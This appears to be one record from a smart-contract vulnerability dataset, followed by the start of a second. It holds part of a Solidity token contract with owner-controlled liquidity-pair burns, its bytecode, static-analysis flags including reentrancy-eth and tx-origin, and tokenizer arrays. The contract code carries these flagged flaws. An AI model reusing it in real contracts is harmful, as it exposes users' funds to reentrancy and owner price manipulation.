contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
0x6080604052600436106103b15760003560e01c80638ea5220f116101e7578063c02466681161010d578063e2f45605116100a0578063f2fde38b1161006f578063f2fde38b14610acd578063f637434214610aed578063f8b45b0514610b03578063fe72b27a14610b1957600080fd5b8063e2f4560514610a72578063e5aa3d5814610a88578063e884f26014610aa2578063f11a24d314610ab757600080fd5b8063c8c8ebe4116100dc578063c8c8ebe4146109e0578063d257b34f146109f6578063d85ba06314610a16578063dd62ed3e14610a2c57600080fd5b8063c024666814610966578063c17b5b8c14610986578063c18bc195146109a6578063c876d0b9146109c657600080fd5b80639fccce3211610185578063a9059cbb11610154578063a9059cbb146108d7578063b62496f5146108f7578063b7b6687014610927578063bbc0c7421461094757600080fd5b80639fccce3214610875578063a0d82dc51461088b578063a457c2d7146108a1578063a4c82a00146108c157600080fd5b806395d89b41116101c157806395d89b41146108145780639a7a23d6146108295780639c3b4fdc146108495780639ec22c0e1461085f57600080fd5b80638ea5220f146107be57806392136913146107de578063924de9b7146107f457600080fd5b806339509351116102d7578063730c18881161026a5780637bce5a04116102395780637bce5a04146107555780638095d5641461076b5780638a8c523c1461078b5780638da5cb5b146107a057600080fd5b8063730c1888146106e0578063751039fc146107005780637571336a1461071557806375f0a8741461073557600080fd5b80636a486a8e116102a65780636a486a8e1461065f5780636ddd17131461067557806370a0823114610695578063715018a6146106cb57600080fd5b806339509351146105b957806349bd5a5e146105d95780634a62bb651461060d5780634fbee1931461062757600080fd5b8063199ffc721161034f57806323b872dd1161031e57806323b872dd1461054d5780632c3e486c1461056d5780632e82f1a014610583578063313ce5671461059d57600080fd5b8063199ffc72146104eb5780631a8145bb146105015780631f3fed8f14610517578063203e727e1461052d57600080fd5b80631694505e1161038b5780631694505e1461044857806318160ddd146104945780631816467f146104b3578063184c16c5146104d557600080fd5b806306fdde03146103bd578063095ea7b3146103e857806310d5de531461041857600080fd5b366103b857005b600080fd5b3480156103c957600080fd5b506103d2610b39565b6040516103df9190612d64565b60405180910390f35b3480156103f457600080fd5b50610408610403366004612dce565b610bcb565b60405190151581526020016103df565b34801561042457600080fd5b50610408610433366004612dfa565b60216020526000908152604090205460ff1681565b34801561045457600080fd5b5061047c7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016103df565b3480156104a057600080fd5b506002545b6040519081526020016103df565b3480156104bf57600080fd5b506104d36104ce366004612dfa565b610be2565b005b3480156104e157600080fd5b506104a5600f5481565b3480156104f757600080fd5b506104a5600b5481565b34801561050d57600080fd5b506104a5601e5481565b34801561052357600080fd5b506104a5601d5481565b34801561053957600080fd5b506104d3610548366004612e17565b610c72565b34801561055957600080fd5b50610408610568366004612e30565b610d44565b34801561057957600080fd5b506104a5600d5481565b34801561058f57600080fd5b50600c546104089060ff1681565b3480156105a957600080fd5b50604051601281526020016103df565b3480156105c557600080fd5b506104086105d4366004612dce565b610dad565b3480156105e557600080fd5b5061047c7f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be881565b34801561061957600080fd5b506011546104089060ff1681565b34801561063357600080fd5b50610408610642366004612dfa565b6001600160a01b0316600090815260208052604090205460ff1690565b34801561066b57600080fd5b506104a560195481565b34801561068157600080fd5b506011546104089062010000900460ff1681565b3480156106a157600080fd5b506104a56106b0366004612dfa565b6001600160a01b031660009081526020819052604090205490565b3480156106d757600080fd5b506104d3610de3565b3480156106ec57600080fd5b506104d36106fb366004612e81565b610e19565b34801561070c57600080fd5b50610408610f42565b34801561072157600080fd5b506104d3610730366004612eb6565b610f7f565b34801561074157600080fd5b5060065461047c906001600160a01b031681565b34801561076157600080fd5b506104a560165481565b34801561077757600080fd5b506104d3610786366004612eeb565b610fd4565b34801561079757600080fd5b506104d361107c565b3480156107ac57600080fd5b506005546001600160a01b031661047c565b3480156107ca57600080fd5b5060075461047c906001600160a01b031681565b3480156107ea57600080fd5b506104a5601a5481565b34801561080057600080fd5b506104d361080f366004612f17565b6110bd565b34801561082057600080fd5b506103d2611103565b34801561083557600080fd5b506104d3610844366004612eb6565b611112565b34801561085557600080fd5b506104a560185481565b34801561086b57600080fd5b506104a560105481565b34801561088157600080fd5b506104a5601f5481565b34801561089757600080fd5b506104a5601c5481565b3480156108ad57600080fd5b506104086108bc366004612dce565b6111f2565b3480156108cd57600080fd5b506104a5600e5481565b3480156108e357600080fd5b506104086108f2366004612dce565b611241565b34801561090357600080fd5b50610408610912366004612dfa565b60226020526000908152604090205460ff1681565b34801561093357600080fd5b506104d3610942366004612e30565b61124e565b34801561095357600080fd5b5060115461040890610100900460ff1681565b34801561097257600080fd5b506104d3610981366004612eb6565b61130b565b34801561099257600080fd5b506104d36109a1366004612eeb565b611392565b3480156109b257600080fd5b506104d36109c1366004612e17565b611433565b3480156109d257600080fd5b506013546104089060ff1681565b3480156109ec57600080fd5b506104a560085481565b348015610a0257600080fd5b50610408610a11366004612e17565b611505565b348015610a2257600080fd5b506104a560155481565b348015610a3857600080fd5b506104a5610a47366004612f32565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a7e57600080fd5b506104a560095481565b348015610a9457600080fd5b506023546104089060ff1681565b348015610aae57600080fd5b506104086115cf565b348015610ac357600080fd5b506104a560175481565b348015610ad957600080fd5b506104d3610ae8366004612dfa565b61160c565b348015610af957600080fd5b506104a5601b5481565b348015610b0f57600080fd5b506104a5600a5481565b348015610b2557600080fd5b50610408610b34366004612e17565b611692565b606060038054610b4890612f6b565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7490612f6b565b8015610bc15780601f10610b9657610100808354040283529160200191610bc1565b820191906000526020600020905b815481529060010190602001808311610ba457829003601f168201915b5050505050905090565b6000610bd8338484611981565b5060015b92915050565b6005546001600160a01b03163314610c155760405162461bcd60e51b8152600401610c0c90612fa6565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610c9c5760405162461bcd60e51b8152600401610c0c90612fa6565b670de0b6b3a7640000620f4240610cb260025490565b610cbd906001612ff1565b610cc79190613010565b610cd19190613010565b811015610d385760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610c0c565b610d4181611aa6565b50565b6000610d51848484611b00565b610da38433610d9e856040518060600160405280602881526020016131fb602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906123df565b611981565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bd8918590610d9e908661191b565b6005546001600160a01b03163314610e0d5760405162461bcd60e51b8152600401610c0c90612fa6565b610e17600061160c565b565b6005546001600160a01b03163314610e435760405162461bcd60e51b8152600401610c0c90612fa6565b610258831015610eb15760405162461bcd60e51b815260206004820152603360248201527f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e207468604482015272616e206576657279203130206d696e7574657360681b6064820152608401610c0c565b6103e88211158015610ec1575060015b610f265760405162461bcd60e51b815260206004820152603060248201527f4d75737420736574206175746f204c50206275726e2070657263656e7420626560448201526f747765656e20302520616e642031302560801b6064820152608401610c0c565b600d92909255600b55600c805460ff1916911515919091179055565b6005546000906001600160a01b03163314610f6f5760405162461bcd60e51b8152600401610c0c90612fa6565b506011805460ff19169055600190565b6005546001600160a01b03163314610fa95760405162461bcd60e51b8152600401610c0c90612fa6565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610ffe5760405162461bcd60e51b8152600401610c0c90612fa6565b601683905560178290556018819055806110188385613032565b6110229190613032565b6015819055601410156110775760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610c0c565b505050565b6005546001600160a01b031633146110a65760405162461bcd60e51b8152600401610c0c90612fa6565b6011805462ffff0019166201010017905542600e55565b6005546001600160a01b031633146110e75760405162461bcd60e51b8152600401610c0c90612fa6565b60118054911515620100000262ff000019909216919091179055565b606060048054610b4890612f6b565b6005546001600160a01b0316331461113c5760405162461bcd60e51b8152600401610c0c90612fa6565b7f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be86001600160a01b0316826001600160a01b031614156111e45760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c0c565b6111ee8282612419565b5050565b6000610bd83384610d9e85604051806060016040528060258152602001613223602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906123df565b6000610bd8338484611b00565b6005546001600160a01b031633146112785760405162461bcd60e51b8152600401610c0c90612fa6565b6006546040516001600160a01b03918216918516907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a36001600160a01b0382166000908152602081905260409020546112d6908261191b565b6001600160a01b0392831660009081526020819052604090205550600680546001600160a01b03191692909116919091179055565b6005546001600160a01b031633146113355760405162461bcd60e51b8152600401610c0c90612fa6565b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113bc5760405162461bcd60e51b8152600401610c0c90612fa6565b601a839055601b829055601c819055806113d68385613032565b6113e09190613032565b601981815510156110775760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610c0c565b6005546001600160a01b0316331461145d5760405162461bcd60e51b8152600401610c0c90612fa6565b670de0b6b3a7640000620f424061147360025490565b61147e906001612ff1565b6114889190613010565b6114929190613010565b8110156114ed5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610c0c565b6114ff81670de0b6b3a7640000612ff1565b600a5550565b6005546000906001600160a01b031633146115325760405162461bcd60e51b8152600401610c0c90612fa6565b620186a061153f60025490565b61154a906001612ff1565b6115549190613010565b8210156115c15760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c0c565b50600981905560015b919050565b6005546000906001600160a01b031633146115fc5760405162461bcd60e51b8152600401610c0c90612fa6565b506013805460ff19169055600190565b6005546001600160a01b031633146116365760405162461bcd60e51b8152600401610c0c90612fa6565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b031633146116bf5760405162461bcd60e51b8152600401610c0c90612fa6565b600f546010546116cf9190613032565b421161171d5760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610c0c565b6103e88211156117825760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610c0c565b426010556040516370a0823160e01b81526001600160a01b037f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be816600482015260009030906370a082319060240160206040518083038186803b1580156117e857600080fd5b505afa1580156117fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611820919061304a565b9050600061183a612710611834848761246d565b906124ec565b9050801561186f5761186f7f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be861dead8361252e565b60007f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be89050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156118cf57600080fd5b505af11580156118e3573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6000806119288385613032565b90508381101561197a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c0c565b9392505050565b6001600160a01b0383166119e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c0c565b6001600160a01b038216611a445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c0c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600254611abb82670de0b6b3a7640000612ff1565b10611ae857611ad281670de0b6b3a7640000612ff1565b6014556023805460ff19811660ff909116151790555b611afa81670de0b6b3a7640000612ff1565b60085550565b6001600160a01b038316611b265760405162461bcd60e51b8152600401610c0c90613063565b6001600160a01b038216611b4c5760405162461bcd60e51b8152600401610c0c906130a8565b80611b5d576110778383600061252e565b60115460ff1615612026576005546001600160a01b03848116911614801590611b9457506005546001600160a01b03838116911614155b8015611ba857506001600160a01b03821615155b8015611bbf57506001600160a01b03821661dead14155b8015611bd55750600554600160a01b900460ff16155b1561202657601154610100900460ff16611c6b576001600160a01b038316600090815260208052604090205460ff1680611c2657506001600160a01b038216600090815260208052604090205460ff165b611c6b5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c0c565b60135460ff1615611db2576005546001600160a01b03838116911614801590611cc657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611d0457507f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be86001600160a01b0316826001600160a01b031614155b15611db257326000908152601260205260409020544311611d9f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610c0c565b3260009081526012602052604090204390555b6001600160a01b03831660009081526022602052604090205460ff168015611df357506001600160a01b03821660009081526021602052604090205460ff16155b15611ed757600854811115611e685760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610c0c565b600a546001600160a01b038316600090815260208190526040902054611e8e9083613032565b1115611ed25760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c0c565b612026565b6001600160a01b03821660009081526022602052604090205460ff168015611f1857506001600160a01b03831660009081526021602052604090205460ff16155b15611f9c576008548111158015611f31575060235460ff165b611ed25760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610c0c565b6001600160a01b03821660009081526021602052604090205460ff1661202657600a546001600160a01b038316600090815260208190526040902054611fe29083613032565b11156120265760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610c0c565b3060009081526020819052604090205460095481108015908190612052575060115462010000900460ff165b80156120685750600554600160a01b900460ff16155b801561208d57506001600160a01b03851660009081526022602052604090205460ff16155b80156120b157506001600160a01b038516600090815260208052604090205460ff16155b80156120d557506001600160a01b038416600090815260208052604090205460ff16155b15612103576005805460ff60a01b1916600160a01b1790556120f5612637565b6005805460ff60a01b191690555b600554600160a01b900460ff1615801561213557506001600160a01b03841660009081526022602052604090205460ff165b80156121435750600c5460ff165b801561215e5750600d54600e5461215a9190613032565b4210155b801561218257506001600160a01b038516600090815260208052604090205460ff16155b156121915761218f612871565b505b6005546001600160a01b038616600090815260208052604090205460ff600160a01b9092048216159116806121dd57506001600160a01b038516600090815260208052604090205460ff165b156121e6575060005b600081156123cb576001600160a01b03861660009081526022602052604090205460ff16801561221857506000601954115b156122d05761223760646118346019548861246d90919063ffffffff16565b9050601954601b548261224a9190612ff1565b6122549190613010565b601e60008282546122659190613032565b9091555050601954601c5461227a9083612ff1565b6122849190613010565b601f60008282546122959190613032565b9091555050601954601a546122aa9083612ff1565b6122b49190613010565b601d60008282546122c59190613032565b909155506123ad9050565b6001600160a01b03871660009081526022602052604090205460ff1680156122fa57506000601554115b156123ad5761231960646118346015548861246d90919063ffffffff16565b90506015546017548261232c9190612ff1565b6123369190613010565b601e60008282546123479190613032565b909155505060155460185461235c9083612ff1565b6123669190613010565b601f60008282546123779190613032565b909155505060155460165461238c9083612ff1565b6123969190613010565b601d60008282546123a79190613032565b90915550505b80156123be576123be87308361252e565b6123c881866130eb565b94505b6123d687878761252e565b50505050505050565b600081848411156124035760405162461bcd60e51b8152600401610c0c9190612d64565b50600061241084866130eb565b95945050505050565b6001600160a01b038216600081815260226020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b60008261247c57506000610bdc565b60006124888385612ff1565b9050826124958583613010565b1461197a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c0c565b600061197a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a10565b6001600160a01b0383166125545760405162461bcd60e51b8152600401610c0c90613063565b6001600160a01b03821661257a5760405162461bcd60e51b8152600401610c0c906130a8565b6125b7816040518060600160405280602681526020016131d5602691396001600160a01b03861660009081526020819052604090205491906123df565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546125e6908261191b565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611a99565b3060009081526020819052604081205490506000601f54601d54601e5461265e9190613032565b6126689190613032565b90506000821580612677575081155b1561268157505050565b60095461268f906014612ff1565b8311156126a7576009546126a4906014612ff1565b92505b6000600283601e54866126ba9190612ff1565b6126c49190613010565b6126ce9190613010565b905060006126dc8583612a3e565b9050476126e882612a80565b60006126f44783612a3e565b9050600061271187611834601d548561246d90919063ffffffff16565b9050600061272e88611834601f548661246d90919063ffffffff16565b905060008161273d84866130eb565b61274791906130eb565b6000601e819055601d819055601f8190556007546040519293506001600160a01b031691849181818185875af1925050503d80600081146127a4576040519150601f19603f3d011682016040523d82523d6000602084013e6127a9565b606091505b509098505086158015906127bd5750600081115b15612810576127cc8782612c4f565b601e54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d806000811461285d576040519150601f19603f3d011682016040523d82523d6000602084013e612862565b606091505b50505050505050505050505050565b42600e556040516370a0823160e01b81526001600160a01b037f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be8166004820152600090819030906370a082319060240160206040518083038186803b1580156128d957600080fd5b505afa1580156128ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612911919061304a565b90506000612930612710611834600b548561246d90919063ffffffff16565b90508015612965576129657f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be861dead8361252e565b60007f000000000000000000000000285ffe8a0e779c017ea1e79d1de19bc0e8e38be89050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156129c557600080fd5b505af11580156129d9573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b60008183612a315760405162461bcd60e51b8152600401610c0c9190612d64565b5060006124108486613010565b600061197a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123df565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612ab557612ab5613102565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612b2e57600080fd5b505afa158015612b42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b669190613118565b81600181518110612b7957612b79613102565b60200260200101906001600160a01b031690816001600160a01b031681525050612bc4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611981565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612c19908590600090869030904290600401613135565b600060405180830381600087803b158015612c3357600080fd5b505af1158015612c47573d6000803e3d6000fd5b505050505050565b612c7a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611981565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d719823085600080612cc16005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015612d2457600080fd5b505af1158015612d38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d5d91906131a6565b5050505050565b600060208083528351808285015260005b81811015612d9157858101830151858201604001528201612d75565b81811115612da3576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610d4157600080fd5b60008060408385031215612de157600080fd5b8235612dec81612db9565b946020939093013593505050565b600060208284031215612e0c57600080fd5b813561197a81612db9565b600060208284031215612e2957600080fd5b5035919050565b600080600060608486031215612e4557600080fd5b8335612e5081612db9565b92506020840135612e6081612db9565b929592945050506040919091013590565b803580151581146115ca57600080fd5b600080600060608486031215612e9657600080fd5b8335925060208401359150612ead60408501612e71565b90509250925092565b60008060408385031215612ec957600080fd5b8235612ed481612db9565b9150612ee260208401612e71565b90509250929050565b600080600060608486031215612f0057600080fd5b505081359360208301359350604090920135919050565b600060208284031215612f2957600080fd5b61197a82612e71565b60008060408385031215612f4557600080fd5b8235612f5081612db9565b91506020830135612f6081612db9565b809150509250929050565b600181811c90821680612f7f57607f821691505b60208210811415612fa057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561300b5761300b612fdb565b500290565b60008261302d57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561304557613045612fdb565b500190565b60006020828403121561305c57600080fd5b5051919050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000828210156130fd576130fd612fdb565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561312a57600080fd5b815161197a81612db9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131855784516001600160a01b031683529383019391830191600101613160565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156131bb57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220424a00610a309200be5af121af9c65c5f1dc4965cbcd481e6da030d3cd3b83c364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2497, 2629, 2094, 2620, 10322, 2497, 2094, 2620, 2487, 2050, 2692, 2509, 2278, 27009, 2629, 2497, 23352, 2063, 2683, 21057, 22407, 2094, 2692, 2683, 16703, 2575, 2581, 2683, 2581, 3207, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 2655, 2850, 2696, 1007, 1063, 2023, 1025, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,610
0x956b9969a03218784bC4C3a2Bc606a7d71AFD7FF
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.12; import "./UselessNFT.sol"; contract UselessMultiSig { event Confirmation(uint256 indexed tokenId, uint256 indexed transactionId); event Revocation(uint256 indexed tokenId, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId, string error); event RequirementChange(uint256 required); event ReceiveEther(address indexed sender, uint amount); // ============ Constants ============ uint256 constant public MAX_OWNER_COUNT = 50; address constant ADDRESS_ZERO = address(0x0); // ============ Storage ============ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(uint256 => bool)) public confirmations; UselessNFT public uselessNft; uint256 public required; uint256 public transactionCount; // ============ Structs ============ struct Transaction { address destination; uint256 value; bytes data; bool executed; } // ============ Modifiers ============ modifier onlyWallet() { require(msg.sender == address(this), "only this council can call"); _; } modifier requireIsValidOwnerAndCouncilIsSetUp( uint _tokenId ) { require( !uselessNft.isSaleOpen() && uselessNft.randomNumber() != 0, "council is not set up yet" ); 